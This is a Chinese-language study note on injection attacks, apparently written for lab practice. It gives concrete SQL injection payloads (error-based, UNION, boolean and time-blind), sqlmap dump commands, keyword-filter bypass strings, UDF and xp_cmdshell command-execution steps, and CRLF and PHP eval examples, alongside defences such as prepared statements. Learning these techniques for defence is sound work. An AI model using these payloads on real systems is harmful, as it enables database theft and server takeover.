基本概念

  1. 原理

    注入攻击的本质是把用户输入的数据当作代码执行,它有三个关键条件:

    • 用户能够控制输入

    • 原本程序要执行的代码,拼接了用户输入的数据

    • 变量不存在过滤或者过滤不严谨

  2. 靶场

    • sqli-lab

SQL注入

基本概念

  1. 原理

    当web应用向后台数据库传递SQL语句进行数据库操作时,如果没有对用户输入的参数进行严格的验证和处理就直接拼接到查询语句中,攻击者就可以构造特殊的SQL语句,直接输入数据库引擎进行解析和执行。

  2. 危害

    • 绕过登录验证

    • 脱库,或者数据库内容被修改

    • 在某些情况下,甚至可以控制整个服务器

      数据库连接账号是root,可以执行系统命令、通过SQL语句写入任意文件(创建webshell)

  3. 注入思路

    1)寻找注入点:在页面的输入位置输入特殊字符进行探测,根据页面变化判断是否存在SQL注入漏洞

    • '
    • " OR "1"="1"
    • `UNION SELECT
    • SLEEP(5)`

    2)判断数据库类型与结构:一旦判断存在注入点,下一步是识别数据库类型(MySQL、SQL Server、Oracle、PostgreSQL):

    • MySQL 特有函数:@@versionSLEEP()
    • SQL Server 特有函数:@@versionWAITFOR DELAY '0:0:5'

    3)SQL注入

    • 报错注入
    • 联合查询
    • 布尔盲注
    • 时间盲注

    4)数据库攻击:实现脱库、修改数据库或控制整个服务器

常见的SQL注入类型

报错注入

  1. 原理

    如果应用程序会将数据库的错误信息返回给前端页面,就可以通过故意构造报错函数,让数据库抛出错误信息,从而暴露数据库结构、字段名等信息。

  2. 常见的报错函数

    1)Mysql

    函数 用途
    updatexml() 伪造 XPath 错误(爆字段)
    extractvalue() 伪造 XML 错误
    floor(rand()*2) 制造分组冲突
    name_const() 重复值制造报错

    2)SQL Server

    函数 用途
    convert() 强制类型转换出错
    cast() 类似用法
    error_message() 获取错误详情(2012+)
  3. 例子

    使用updatexml(),传入不合法的xpath,引发报错

    1
    http://example.com/product.php?id=1 AND updatexml(1, concat(0x7e, (SELECT user())), 1)
    • concat(0x7e, (SELECT user())) 拼接字符串:用 ~ 作为前缀,拼接当前数据库用户。

    如果数据库是 MySQL,那么可能返回类似这样的错误:

    1
    XPATH syntax error: '~root@localhost'

    你就可以知道当前连接数据库的用户名。

  4. 应用场景

    应用程序会将数据库的错误信息返回给前端页面(如果服务器开启了 debug 或开发模式,这种注入最容易成功)

联合查询

  1. 原理

    利用 SQL 的 UNION SELECT 语句,把攻击者构造的查询结果合并到原始查询结果中,从而让数据库返回攻击者指定的数据

  2. 主要步骤

    1)判断字段数

    1
    2
    3
    ?id=1 ORDER BY 1-- 
    ?id=1 ORDER BY 2--
    ?id=1 ORDER BY 3--

    直到报错为止,说明字段数不够。假设 ORDER BY 4 报错了 → 表示有 3 个字段。

    2)构造联合查询语句

    1
    ?id=1 UNION SELECT 1,2,3-- 

    如果页面回显了 23,你就知道这些位置可以“展示”数据。

  3. 例子

    注意:两个 SELECT 查询的 字段数量和数据类型必须一致

    1
    2
    3
    SELECT column1, column2 FROM table1
    UNION
    SELECT column1, column2 FROM table2;
  4. 应用场景

    • 应用页面会回显查询结果
    • UNION 左右两侧字段数量、数据类型一致

布尔盲注

  1. 原理

    在页面**没有返回错误信息,也不回显查询结果的情况下,如果但页面结构会因查询条件真假而略有不同(比如有内容 / 没内容),可以通过构造真假判断语句**,根据返回页面的显示差异来猜解数据库信息。

  2. 核心思路

    通常可以使用sqlmap辅助:

    1
    sqlmap -u "http://example.com/item.php?id=1" --technique=B --dump

    1)逐字节猜数据库名称

    如果页面正常显示,说明数据库名第一个字母是 'a',否则就换 'b''c'……

    1
    ?id=1 AND SUBSTRING(database(), 1, 1) = 'a'

    2)逐字节猜表名

    3)猜字段名、数据值,逐渐反复

  3. 相关函数

    函数 用途
    SUBSTRING(str, pos, len) 取字符串子串
    ASCII(char) 获取字符对应的 ASCII 值
    LENGTH(str) 获取字符串长度
    MID(str, start, len) 类似 SUBSTRING
    IF(condition, true, false) 条件判断
  4. 例子

    假设原始 SQL 是这样的:

    1
    SELECT * FROM items WHERE id = '$id';

    你试探这个,页面正常显示:

    1
    ?id=1 AND 1=1

    你再试这个,页面变成“无数据”或空白页。:

    1
    ?id=1 AND 1=2

    🎉 说明这里可以用布尔盲注!

  5. 应用场景

    • 页面**没有返回错误信息,也不回显查询结果**
    • 页面结构会因查询条件真假而略有不同(比如有内容 / 没内容)

时间盲注

  1. 原理

    在页面无任何数据回显或报错的情况下,但是==页面加载时间会因 SQL 条件真假而变化==,可以利用数据库的延迟函数(如 SLEEP)来判断条件真假

  2. 基本思路

    可以使用sqlmap进行辅助

    1
    sqlmap -u "http://example.com/page.php?id=1" --technique=T --dump
    • --technique=T 表示使用时间盲注(T = Time-based)

    1)判断是否存在时间盲注

    1
    ?id=1 AND SLEEP(5)-- 
    • 页面延迟 5 秒 → 注入点存在

    • 页面秒回 → 无效或被拦截

    2)猜数据库名长度

    1
    ?id=1 AND IF(LENGTH(database())=5, SLEEP(5), 0)-- 

    3)猜数据库名字符

    1
    ?id=1 AND IF(ASCII(SUBSTRING(database(),1,1))=97, SLEEP(5), 0)-- 

    4)猜表名、字段名、字段值

  3. 例子

    输入一个查询语句,判断如果当前数据库名的第一个字符是等于字母 a的话,就sleep 5秒,否则正常执行

    1
    ?id=1 AND IF(ASCII(SUBSTRING(database(), 1, 1)) = 97, SLEEP(5), 0)

    ⏱️ 如果页面明显延迟 5 秒,说明数据库名第一个字母是 a!存在布尔注入

SQL注入绕过技巧

目标系统的后端或者前端可以能对一些特殊的字符进行过滤,如何绕过这些过滤方法呢:SQL注入一些过滤及绕过总结

过滤关键字

参考:SQL注入针对关键字过滤的绕过技巧

如果目标系统对一些关键字进行了过滤,比如禁用了selectunionandorsleep 等关键字,如何进行绕过

  1. 大小写混合

    有些过滤只针对小写或全小写关键字

    1
    SeLeCt user, password FrOm users
  2. 注释符分割

    MySQL支持使用注释(/**/)插入关键字中间

    1
    UN/**/ION SE/**/LECT 1,2,3
  3. 编码绕过

    将关键字部分编码,URL 编码、Unicode 编码、16进制编码、ASCII编码绕过

    1
    %75nion %73elect
  4. 双写绕过

    1
    selselectect
  5. 加号+拆解字符串

    1
    or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN+’ SERT INTO+’ …..’ )
  6. 内联注释绕过

    1
    id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#

过滤逗号

常见的几种注入方法基本上都要使用逗号,要是逗号被过滤了,那就只能想办法绕过了。

  1. join关键字绕过

    1
    2
    3
    union select 1,2
    等价于
    union select * from (select 1)a join (select 2)b
  2. from关键字绕过

    对于substr()mid()这两个方法可以使用from to的方式来解决:

    1
    2
    select substr(database() from 1 for 1);
    select mid(database() from 1 for 1);
  3. like关键字绕过

    1
    2
    3
    select ascii(mid(user(),1,1))=80
    等价于
    select user() like 'r%'
  4. offset关键字绕过

    对于limit可以使用offset来绕过:

    1
    2
    3
    select * from news limit 0,1
    等价于
    select * from news limit 1 offset 0

过滤空格

SQL 注入防御

转义(escape)

escape的局限性

仅仅对用户输入进行 escape(转义) 处理是不够的,escape采用的是黑名单机制,黑名单无法覆盖所有的过滤字符,用户输入的自然语言中也可能存在HAVING、ORDER BY等SQL保留字,盲目过滤可能导致误杀。

基于黑名单的过滤方法并不合适

预编译

  1. 基本概念

    通过将SQL查询与参数分离来确保用户输入不会被当作SQL代码执行。预编译的核心思想是将SQL查询的结构固定下来,而将用户输入的数据作为参数处理,从而避免恶意输入影响SQL查询的结构。

    • 一般来说,使用预编译语句是防御SQL注入的最佳方式,绑定变量保证了SQL语句的语义不会改变。
  2. 具体例子

    • PHP中使用预编译

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      // 创建数据库连接
      $pdo = new PDO('mysql:host=localhost;dbname=testdb', 'username', 'password');

      // 准备SQL查询
      $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");

      // 绑定参数
      $stmt->bindParam(':username', $username);
      $stmt->bindParam(':password', $password);

      // 设置参数值
      $username = $_POST['username'];
      $password = $_POST['password'];

      // 执行查询
      $stmt->execute();

      // 获取查询结果
      $result = $stmt->fetchAll(PDO::FETCH_ASSOC);

    • Java中使用预编译

      1
      2
      String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
      pstmt = conn.prepareStatement(sql);

      使用 ? 表示变量

数据库自身

  • 从数据库自身的就角度来说呢,应该使用最小权限原则,避免Web应用直接使用root,dbowner等高权限账户直接连接数据库。

  • Web应用使用的数据库账户,不应该有创建自定义函数、操作本地文件的权限。

  • 如果有多个不同的应用在使用同一数据库,则也应该为每个应用分配不同的账户。

使用安全函数

一般来说,各种Web语言框架都实现了一些编码函数,可以帮助对抗SQL注入。比如java中的PreparedStatement,php中的一些转移函数等

检查数据类型

对输入的数据的数据类型进行检查,例如可以在代码中限制为 integer 类型,所以无法注入,但是如果需要用户提交的是一段字符串,单纯的数据类型检查就不够用了。

使用安全的存储过程

除了使用预编译语句外,我们还可以使用安全的存储过程对抗SQL注入。

使用存储过程的效果于使用预编译语句的效果类似,其区别就是存储过程需要先将SQL语句定义在数据库中。

但需要注意的是,

  • 存储过程中也可能会存在注入问题,因此应该尽量避免在存储过程内使用动态的SQL语句。
  • 如果无法避免,则应该使用严格的过滤或者是编码函数来处理用户的输入数据。

数据库攻击技巧

找到SQL注入漏洞后,根据不同数据库,进行后续攻击的技巧也有所不同。

读写文件

如果当前数据库用户拥有读写系统相应文件或目录的权限

  • 在mysql中,可以通过Load_file()读取系统文件,通过into dumpfile写入系统文件,最后通过 LOAD DATA INFILE 将文件导入创建的表中,最后就可以通过一般的注入技巧直接操作表数据了。

    既然都可以读取系统文件了,为什么不直接读取或写入文件,而是导入表再操作呢:

    • 导入表中可以结构化处理,更加灵活
    • 直接操作可能被安全防护机制如IDS检测到
  • 写入文件技巧,通常被用于直接在服务器上写入一个Webshell,为进一步攻击做铺垫。因此,设计数据库安全方案时,可以禁止普通数据库用户具备操作文件的权限。

命令执行

  1. 命令执行方式

    • 通过导出webshell间接地执行命令
    • 利用用户自定义函数,即UDF(User-Defined Function)来执行命令。
  2. UDF

    • 概念

      流行的数据库一般都支持从本地文件系统中导入一个共享库文件作为自定义函数

      UDF 命令执行是一种利用数据库自定义函数进行代码执行的攻击方法。攻击者可以通过SQL注入或文件上传漏洞等手段将恶意的自定义函数(通常是用C语言编写的共享库)上传到服务器的数据库中。

      一旦自定义函数被成功注册,用户就可以通过SQL语句调用这些函数来执行任意操作,包括在操作系统级别执行命令。

    • 具体例子

      这一整体的流程也已经被集成在了sqlmap上面

      • 1)编写恶意UDF

        首先,攻击者需要编写一个恶意的共享库(通常使用C语言),该共享库实现自定义函数,这些函数可以执行操作系统命令。以下是一个简单的C语言UDF示例,展示了如何在Linux上执行系统命令

        1
        2
        3
        4
        5
        6
        #include <stdlib.h>
        #include <stdio.h>

        void sys_exec(char *cmd) {
        system(cmd);
        }

        编译此代码生成一个共享库,例如libudf.so

        1
        gcc -shared -o libudf.so -fPIC udf.c
      • 2)将UDF加载到数据库中

        攻击者需要将编译好的共享库文件上传到数据库服务器上,这通常可以通过SQL注入或文件上传漏洞实现。

      • 3)在数据库中创建和使用UDF

        接下来,攻击者需要在数据库中注册自定义函数。例如在MySQL中:

        1
        2
        3
        4
        5
        -- 创建一个存放UDF库文件的目录(如果没有权限,可以尝试其他可写目录)
        CREATE FUNCTION sys_exec RETURNS STRING SONAME 'libudf.so';

        -- 调用自定义函数执行命令
        SELECT sys_exec('id'); -- 在Linux系统上,这将执行'id'命令并返回结果
      • 4)执行系统命令

        一旦自定义函数被成功注册,攻击者可以通过SQL语句调用该函数来执行任意系统命令。

攻击存储过程

  1. 什么是数据库存储过程(Stored Procedure)

    • SQL语句需要先编译再执行。而存储过程是一组为了完成特定功能的SQL语句集,经编译后存储在数据库中,用户通过指定存储过程的名字并给定参数(如果该存储过程带有参数)来调用执行它。

    • 其实就是将sql查询语句封装成一个函数/对象的形式,可以直接调用该函数进行相应的查询。这样可以封装复杂的业务逻辑、提高性能、简化代码管理和提高安全性。

    详细可见:数据库存储过程讲解与实例

  2. 利用存储过程进行攻击

    在 MS SQL Server中,可以利用存储过程 xp_cmdshell 执行系统命令

    1
    2
    EXEC master.dbo.xp_cmdshell 'ping ';
    EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';

    也可以利用 xp_regread 操作注册表

    可以被利用的存储过程包括:

    • xp_servicecontrol,允许用户启动、停止服务
    • xp_availablemedia,显示机器上有用的驱动器
    • xp_dirtree,允许获得一个目录树
    • xp_enumdsn,例句服务器上的ODBC数据源
    • xp_loginconfig,获取服务器安全信息
    • xp_makecab,允许用户在服务器上创建一个压缩文件
    • xp_ntsec_enumdomains,列举服务器可以进入的域
    • xp_terminate_process,提供进程ID,终止该进程
  3. 存储过程本身也可能存在漏洞

    有些自定义的存储过程也可能有注入漏洞,可能对外部传入的字段没有进行处理,造成SQL注入问题

编码问题

当Web应用、数据库和操作系统使用不相同的字符集和编码,由于各层对字符的理解存在差异,可能会导致不同编码解释从而产生一些安全漏洞。

具体例子

  • 如果Web应用使用PHP处理用户输入,并且使用 addslashes() 函数来转义特殊字符(如单引号 ' 等注入常用的闭合符号),则这些转义字符在存储到数据库之前会被加上反斜杠 \

  • 如果数据库使用GBK编码(双字节字符集),某些字节序列会被解释为一个字符。例如,0xBF27 被解释为一个双字节字符。

  • 攻击者可以输入 0xBF27 or 1=1 ,经过 addslashes() 处理后,变成 0xBF\27 or 1=1 。在GBK编码中,0xBF5C\ 的ASCII码是 0x5C)被解释为一个合法的双字节字符,从而吃掉了反斜杠,绕过了转义机制。

SQL Column Truncation(列截断)

  1. 基本概念

    SQL Column Truncation(列截断)是一种利用数据库列长度限制来进行攻击的技术。攻击者可以通过提供特定长度的输入,使数据库在插入或更新数据时对输入进行截断,从而引发潜在的安全问题。以下是对这种攻击方式的详细解释和示例。

  2. 具体例子

    当 MYSQL 的 sql-mode 设置为 default 时,即没有开启 STRICT_ALL_TABLES 选项时,MYSQL对于用户插入的超长值只会提示 warning 而不是 error(error即插入不成功),仍然会插入数据,如果插入了两个相同的数据就可能会产生鉴权方面的问题。

    • 正常业务

      假设有一个用户注册系统,数据库表定义如下:

      1
      2
      3
      4
      CREATE TABLE users (
      username VARCHAR(20),
      password VARCHAR(20)
      );

      一个正常的注册请求可能是:

      1
      INSERT INTO users (username, password) VALUES ('alice', 'securepassword');

      在这种情况下,数据库会将用户名 alice 和密码 securepassword 存储在表中。

    • 攻击方法

      如果攻击者发现用户名字段的最大长度是20个字符,他们可以构造一个长度为20个字符的用户名,并在最后添加一个空格:

      1
      INSERT INTO users (username, password) VALUES ('admin               ', 'anypassword');

      数据库接收到上述请求后,由于username字段的长度限制是20个字符,数据库会截断用户名,存储为:

      1
      'admin               '  -- 实际存储的用户名

      当攻击者尝试登录时,他们可以仅输入前缀匹配的用户名(例如,admin),数据库在处理查询时可能会忽略后面的空格,从而允许攻击者绕过验证。

      1
      SELECT * FROM users WHERE username = 'admin' AND password = 'anypassword';

      如果后续授权过程中,系统仅仅通过用户名来进行授权

      1
      SELECT * FROM users WHERE username = ?

      我们注册的账号就直接拥有了管理员admin权限,产生了越权访问

其他注入攻击

除了SQL注入以外,还有其他的注入攻击,这些攻击都是违背了“数据与代码分离”的原则。

XML注入

XML是一种标准通用标记语言,通过标签对数据进行结构化表示,其注入方法也与HTML比较类似,主要都是通过闭合标签或者其他符号来完成注入的。

image-20240805153609543

防御方法也与HTML注入类似,对语言本身的保留字符进行转义即可

代码注入

代码注入和命令注入往往都是由一些不安全的函数或者方法引起的,其中的典型代表就是eval()和systrm()。

具体例子

  • PHP

    下面这段php代码,从URL的查询参数中获取 arg的值,并将其赋值给变量$x,传递给 eval 函数执行

    1
    2
    3
    $myvar="varname";
    $x=$_GET['arg'];
    eval("\$myvar=$x;");

    假设用户访问的URL是

    1
    /index.php?arg=1;phpinfo()

    服务器会执行

    1
    eval("\$myvar=1;phpinfo();");

    输出php的配置信息

  • 动态包含(Dynamic Include)

    动态包含是一种在程序运行时动态地包含和执行代码文件的技术。在PHP、JSP等编程语言中,动态包含通常用于在运行时根据条件或配置文件来加载不同的代码文件。然而,这种技术也可能导致代码注入或远程文件包含漏洞,从而使得攻击者能够执行恶意代码。

    PHP、JSP的动态include导致的代码执行,都可以算是一种代码注入。

    例如在JSP中,可以使用 <jsp:include> 标签来动态包含文件,或者使用 RequestDispatcher 类来实现。

    1
    <jsp:include page="<%= request.getParameter("page") %>.jsp" />

CRLF注入

  1. 基本概念

    CR是指回车符 Carriage Return,即 \r 。 LF是指换行符 Lined Feed,即 \n 。CRLF常被用作不同语义之间的分隔符,因此通过“注入CRLF字符”就有可能改变原有的语义。

    • 所有使用CRLF作为分隔符的地方都可能存在这种注入。
  2. 具体例子

    • 日志:登录失败用户名写入日志文件

      正常情况下的记录如下

      1
      2
      Username login failed for: guest
      Username login failed for: admin

      如果没有处理"\r\n",使用如下payload插入一条日志记录

      1
      guest\nUsername login succeed for: admin

      结果日志变成。显然第二条记录是伪造的。

      1
      2
      Username login failed for: guest
      Username login succeed for: admin
    • http头部注入

      在HTTP协议中,HTTP头是通过“\r\n”来分隔的。

      因此如果服务器端没有过滤“\r\n”,而又把用户输入的数据放在HTTP头中,则有可能导致安全隐患。这种在HTTP头中的CRLF注入,又可以称为“Http Response Splitting”。这种注入最常见的情况就是把用户的输入拼接到http response的头部中了。

  3. 防御

    对抗CRLF的方法非常简单。只需要处理好"\r"和"\n"这2个保留字,尤其是使用“换行符”作为分隔符的应用。